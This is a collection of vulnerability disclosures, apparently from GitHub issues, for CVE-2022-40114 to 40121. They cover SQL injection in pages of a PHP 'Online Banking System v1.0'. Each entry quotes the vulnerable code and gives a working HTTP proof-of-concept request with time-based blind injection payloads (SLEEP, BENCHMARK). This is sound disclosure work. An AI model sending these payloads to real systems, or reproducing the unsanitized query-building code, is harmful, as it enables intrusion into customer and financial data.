Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/edit_customer.php.

**Vulnerability file address**

net-banking/edit_customer.php from line 16,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $_GET['cust_id'] is not protected from sql injection, line 23 $result0 = $conn->query($sql0); made a sql query,resulting in sql injection

......
......
......
    if (isset($\_GET\['cust\_id'\])) {
        $\_SESSION\['cust\_id'\] = $\_GET\['cust\_id'\];
    }

    $sql0 = "SELECT \* FROM customer WHERE cust\_id=".$\_SESSION\['cust\_id'\];
    $sql1 = "SELECT \* FROM passbook".$\_SESSION\['cust\_id'\]." WHERE trans\_id=(
                    SELECT MAX(trans\_id) FROM passbook".$\_SESSION\['cust\_id'\].")";

    $result0 = $conn\->query($sql0);
......
......
......

**POC**

GET /net-banking/edit\_customer.php?cust\_id=666 AND (SELECT 5721 FROM (SELECT(SLEEP(5)))pcwq) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

**Attack results pictures**

CVE-2022-40114: Found a vulnerability · Issue #16 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/delete_beneficiary.php.

Permalink

**Vulnerability file address**

net-banking/delete_beneficiary.php from line 17,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $_GET['cust_id'] is not protected from sql injection, line 21 if (($conn->query($sql0) === TRUE)) made a sql query,resulting in sql injection

......
......
......
if (isset($\_GET\['cust\_id'\])) {
        $sql0 = "DELETE FROM beneficiary".$\_SESSION\['loggedIn\_cust\_id'\].
                " WHERE benef\_cust\_id=".$\_GET\['cust\_id'\];
    }

    $success = 0;
    if (($conn\->query($sql0) === TRUE)) {
        $sql0 = "SELECT MAX(benef\_id) FROM beneficiary".$\_SESSION\['loggedIn\_cust\_id'\];
        $result = $conn\->query($sql0);
        $row = $result\->fetch\_assoc();
......
......
......

**POC**

GET /net-banking/delete\_beneficiary.php?cust\_id=666 AND 3629=BENCHMARK(5000000,MD5(0x7a6f6b4e)) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Upgrade-Insecure-Requests: 1

**Attack results pictures**

CVE-2022-40115: BugReport/sql_injection1.md at main · 0clickjacking0/BugReport

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search parameter at /net-banking/beneficiary.php.

**Vulnerability file address**

net-banking/beneficiary.php from line 74,The $_POST['search'] parameter is controllable, the parameter search can be passed through post, and the $search is not protected from sql injection, line 92 $result1 = $conn->query($sql1); made a sql query,resulting in sql injection

......
......
......
if (isset($\_POST\['submit'\])) {
                    $back\_button = TRUE;
                    $search = $\_POST\['search'\];
                    $by = $\_POST\['by'\];

                    if ($by == "name") {
                        $sql1 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
                        WHERE cust\_id=".$row\["benef\_cust\_id"\]." AND (first\_name LIKE '%$search%'
                        OR last\_name LIKE '%$search%' OR CONCAT(first\_name, ' ', last\_name) LIKE '%$search%')";
                    }
                    else {
                        $sql1 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
                        WHERE cust\_id=".$row\["benef\_cust\_id"\]." AND account\_no LIKE '$search'";
                    }
                }
......
......
......

        <?php
            $result1 = $conn\->query($sql1);
......
......
......

**POC**

POST /net-banking/beneficiary.php HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Content-Length: 16

submit=&search=' AND (SELECT 2893 FROM (SELECT(SLEEP(5)))EXvW)-- WklL

**Attack results pictures**

CVE-2022-40116: Found a vulnerability · Issue #13 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/delete_customer.php.

Permalink

**Vulnerability file address**

net-banking/delete_customer.php from line 16,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $_GET['cust_id'] is not protected from sql injection, line 36 if (($conn->query($sql0) === TRUE)) made a sql query,resulting in sql injection

......
......
......
 if (isset($\_GET\['cust\_id'\])) {
        $\_SESSION\['cust\_id'\] = $\_GET\['cust\_id'\];
    }

    $sql0 = "DELETE FROM customer WHERE cust\_id=".$\_SESSION\['cust\_id'\];
    $sql1 = "DROP TABLE passbook".$\_SESSION\['cust\_id'\];
    $sql2 = "DROP TABLE beneficiary".$\_SESSION\['cust\_id'\];

?>
......
......
......
            <?php
                if (($conn\->query($sql0) === TRUE)) { ?>
......
......
......

**POC**

GET /net-banking/delete\_customer.php?cust\_id=666 AND 3629=BENCHMARK(5000000,MD5(0x7a6f6b4e)) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

**Attack results pictures**

CVE-2022-40117: BugReport/sql_injection2.md at main · 0clickjacking0/BugReport

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/send_funds_action.php.

Permalink

**Vulnerability file address**

net-banking/send_funds_action.php from line 17,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $receiver_id is not protected from sql injection, line 29 $result5 = $conn->query($sql5); made a sql query,resulting in sql injection

......
......
......
    if (isset($\_GET\['cust\_id'\])) {
        $receiver\_id = $\_GET\['cust\_id'\];
    }

    $sender\_id = $\_SESSION\['loggedIn\_cust\_id'\];
    $amt = mysqli\_real\_escape\_string($conn, $\_POST\["amt"\]);
    $password = mysqli\_real\_escape\_string($conn, $\_POST\["password"\]);

    $sql0 = "SELECT \* FROM customer WHERE cust\_id=".$sender\_id." AND pwd='".$password."'";
    $result0 = $conn\->query($sql0);
    $row0 = $result0\->fetch\_assoc();

    $sql5 = "SELECT \* FROM customer WHERE cust\_id=".$receiver\_id;
    $result5 = $conn\->query($sql5);
......
......
......

**POC**

GET /net-banking/send\_funds\_action.php?cust\_id=666 AND (SELECT 2011 FROM (SELECT(SLEEP(5)))DwUi) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Upgrade-Insecure-Requests: 1

**Attack results pictures**

CVE-2022-40118: BugReport/sql_injection4.md at main · 0clickjacking0/BugReport

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search_term parameter at /net-banking/transactions.php.

**Vulnerability file address**

net-banking/transactions.php from line 28,The $_POST['search_term'] parameter is controllable, the parameter search\_term can be passed through post, and the $_POST['search_term'] is not protected from sql injection, line 170 $result = $conn->query($sql0); made a sql query,resulting in sql injection

......
......
......
    if (isset($\_POST\['search\_term'\])) {
        $\_SESSION\['search\_term'\] = $\_POST\['search\_term'\];
    }
    if (isset($\_POST\['date\_from'\])) {
        $\_SESSION\['date\_from'\] = $\_POST\['date\_from'\];
    }
    if (isset($\_POST\['date\_to'\])) {
        $\_SESSION\['date\_to'\] = $\_POST\['date\_to'\];
    }

    // Filter indicator variable
    $filter\_indicator = "None";

    // Queries when search is set
    if (!empty($\_SESSION\['search\_term'\])) {
        $sql0 .= " WHERE remarks COLLATE latin1\_GENERAL\_CI LIKE '%".$\_SESSION\['search\_term'\]."%'";
        $filter\_indicator = "Remarks";

        if (!empty($\_SESSION\['date\_from'\]) && empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " AND trans\_date > '".$\_SESSION\['date\_from'\]." 00:00:00'";
            $filter\_indicator = "Remarks & Date From";
        }
        if (empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " AND trans\_date < '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Remarks & Date To";
        }
        if (!empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .=  " AND trans\_date BETWEEN '".$\_SESSION\['date\_from'\]." 00:00:00' AND '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Remarks, Date From & Date To";
        }
    }

    // Queries when search is not set
    if (empty($\_SESSION\['search\_term'\])) {
        if (!empty($\_SESSION\['date\_from'\]) && empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " WHERE trans\_date > '".$\_SESSION\['date\_from'\]." 00:00:00'";
            $filter\_indicator = "Date From";
        }
        if (empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " WHERE trans\_date < '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Date To";
        }
        if (!empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .=  " WHERE trans\_date BETWEEN '".$\_SESSION\['date\_from'\]." 00:00:00' AND '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Date From & Date To";
        }
    }
......
......
......

        <?php
            $result = $conn\->query($sql0);
......
......
......

**POC**

POST /net-banking/transactions.php?cust\_id=1 HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

search\_term=' AND (SELECT 5964 FROM (SELECT(SLEEP(5)))doHk)-- TErm

**Attack results pictures**

CVE-2022-40119: Found a vulnerability · Issue #11 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search_term parameter at /net-banking/customer_transactions.php.

**Vulnerability file address**

net-banking/customer_transactions.php from line 39,The $_POST['search_term'] parameter is controllable, the parameter search\_term can be passed through post, and the $_POST['search_term'] is not protected from sql injection, line 166 $result = $conn->query($sql0); made a sql query,resulting in sql injection

......
......
......
if (!empty($\_SESSION\['search\_term'\])) {
        $sql0 .= " WHERE remarks COLLATE latin1\_GENERAL\_CI LIKE '%".$\_SESSION\['search\_term'\]."%'";
        $filter\_indicator = "Remarks";

        if (!empty($\_SESSION\['date\_from'\]) && empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " AND trans\_date > '".$\_SESSION\['date\_from'\]." 00:00:00'";
            $filter\_indicator = "Remarks & Date From";
        }
        if (empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " AND trans\_date < '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Remarks & Date To";
        }
        if (!empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .=  " AND trans\_date BETWEEN '".$\_SESSION\['date\_from'\]." 00:00:00' AND '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Remarks, Date From & Date To";
        }
    }
......
......
......

        <?php
            $result = $conn\->query($sql0);
......
......
......

**POC**

POST /net-banking/customer\_transactions.php HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Content-Length: 13

search\_term=' AND (SELECT 2581 FROM (SELECT(SLEEP(5)))bIYx)-- Ldcj

**Attack results pictures**

CVE-2022-40120: Found a vulnerability · Issue #14 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search parameter at /net-banking/manage_customers.php.

**Vulnerability file address**

net-banking/manage_customers.php from line 11,The $_POST['search'] parameter is controllable, the parameter search can be passed through post, and the $search is not protected from sql injection, line 70 $result = $conn->query($sql0); made a sql query,resulting in sql injection

......
......
......
    if (isset($\_POST\['submit'\])) {
        $back\_button = TRUE;
        $search = $\_POST\['search'\];
        $by = $\_POST\['by'\];

        if ($by == "name") {
            $sql0 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
            WHERE first\_name LIKE '%".$search."%' OR last\_name LIKE '%".$search."%'
            OR CONCAT(first\_name, ' ', last\_name) LIKE '%".$search."%'";
        }
        else {
            $sql0 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
            WHERE account\_no LIKE '$search'";
        }
    }
......
......
......

        <?php
            $result = $conn\->query($sql0);
......
......
......

**POC**

POST /net-banking/manage\_customers.php HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Content-Length: 16

submit=&search=' AND (SELECT 4752 FROM (SELECT(SLEEP(5)))giHH)-- gbXY

**Attack results pictures**

CVE-2022-40121: Found a vulnerability · Issue #12 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/edit_customer_action.php.

**Vulnerability file address**

net-banking/edit_customer_action.php from line 16,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $_GET['cust_id'] is not protected from sql injection, line 59 if (($conn->query($sql0) === TRUE)) { ?> made a sql query,resulting in sql injection

......
......
......
    if (isset($\_GET\['cust\_id'\])) {
        $\_SESSION\['cust\_id'\] = $\_GET\['cust\_id'\];
    }

    $fname = mysqli\_real\_escape\_string($conn, $\_POST\["fname"\]);
    $lname = mysqli\_real\_escape\_string($conn, $\_POST\["lname"\]);
    $dob = mysqli\_real\_escape\_string($conn, $\_POST\["dob"\]);
    $aadhar = mysqli\_real\_escape\_string($conn, $\_POST\["aadhar"\]);
    $email = mysqli\_real\_escape\_string($conn, $\_POST\["email"\]);
    $phno = mysqli\_real\_escape\_string($conn, $\_POST\["phno"\]);
    $address = mysqli\_real\_escape\_string($conn, $\_POST\["address"\]);
    $branch = mysqli\_real\_escape\_string($conn, $\_POST\["branch"\]);
    $acno = mysqli\_real\_escape\_string($conn, $\_POST\["acno"\]);
    $pin = mysqli\_real\_escape\_string($conn, $\_POST\["pin"\]);
    $cus\_uname = mysqli\_real\_escape\_string($conn, $\_POST\["cus\_uname"\]);
    $cus\_pwd = mysqli\_real\_escape\_string($conn, $\_POST\["cus\_pwd"\]);

    $sql0 = "UPDATE customer SET first\_name = '$fname',
                                 last\_name = '$lname',
                                 dob = '$dob',
                                 aadhar\_no = '$aadhar',
                                 email = '$email',
                                 phone\_no = '$phno',
                                 address = '$address',
                                 branch = '$branch',
                                 account\_no = '$acno',
                                 pin = '$pin',
                                 uname = '$cus\_uname',
                                 pwd = '$cus\_pwd'
                            WHERE cust\_id=".$\_SESSION\['cust\_id'\];
......
......
......
if (($conn\->query($sql0) === TRUE)) { ?>
......
......
......

**POC**

GET /net-banking/edit\_customer\_action.php?cust\_id=666 AND (SELECT 5721 FROM (SELECT(SLEEP(5)))pcwq) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

**Attack results pictures**

Tag

#intel